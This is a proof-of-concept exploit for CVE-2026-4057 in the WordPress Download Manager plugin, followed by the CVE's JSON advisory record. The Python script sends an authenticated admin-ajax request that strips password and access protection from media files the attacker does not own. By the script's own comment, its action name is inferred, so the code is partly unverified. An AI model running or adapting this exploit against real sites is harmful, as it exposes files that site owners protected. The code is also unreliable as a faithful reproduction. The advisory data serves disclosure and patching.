CVE-2026-4057

# PoC for CVE-2026-4057 # Description: Exploits missing capability check to make private media files public. # Requirements: Contributor level access or higher. import requests def exploit(target_url, wp_cookie, media_id, nonce): """ Attempts to strip protection from a target media file. """ # The endpoint might be admin-ajax.php or a specific REST API endpoint # based on the plugin structure. This assumes a standard AJAX action. url = f"{target_url}/wp-admin/admin-ajax.php" headers = { "Cookie": wp_cookie, "User-Agent": "Mozilla/5.0 (PoC Analyst)" } # Payload derived from the vulnerable function names payload = { "action": "wpdm_make_media_public", # Inferred action name "id": media_id, "_wpnonce": nonce } response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Request sent successfully for Media ID: {media_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") # Example usage # target = "http://vulnerable-site.com" # cookie = "wordpress_logged_in_xxx=..." # target_media_id = 123 # valid_nonce = "..." # exploit(target, cookie, target_media_id, valid_nonce)

{"cve": {"id": "CVE-2026-4057", "sourceIdentifier": "[email protected]", "published": "2026-04-10T02:16:03.240", "lastModified": "2026-04-24T18:01:58.517", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Download Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `makeMediaPublic()` and `makeMediaPrivate()` functions in all versions up to, and including, 3.3.51. This is due to the functions only checking for `edit_posts` capability without verifying post ownership via `current_user_can('edit_post', $id)`, and the destructive operations executing before the admin-level check in `mediaAccessControl()`. This makes it possible for authenticated attackers, with Contributor-level access and above, to strip all protection metadata (password, access restrictions, private flag) from any media file they do not own, making admin-protected files publicly accessible via their direct URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/download-manager/tags/3.3.51/src/MediaLibrary/MediaAccessControl.php#L237", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-manager/tags/3.3.51/src/MediaLibrary/MediaAccessControl.php#L257", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-manager/trunk/src/MediaLibrary/MediaAccessControl.php#L237", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-manager/trunk/src/MediaLibrary/MediaAccessControl.php#L257", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3492316/download-manager/trunk/src/MediaLibrary/MediaAccessControl.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fdownload-manager/tags/3.3.51&new_path=%2Fdownload-manager/tags/3.3.52", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a6b02846-61be-4571-921d-53df5493f856?source=cve", "source": "[email protected]"}]}}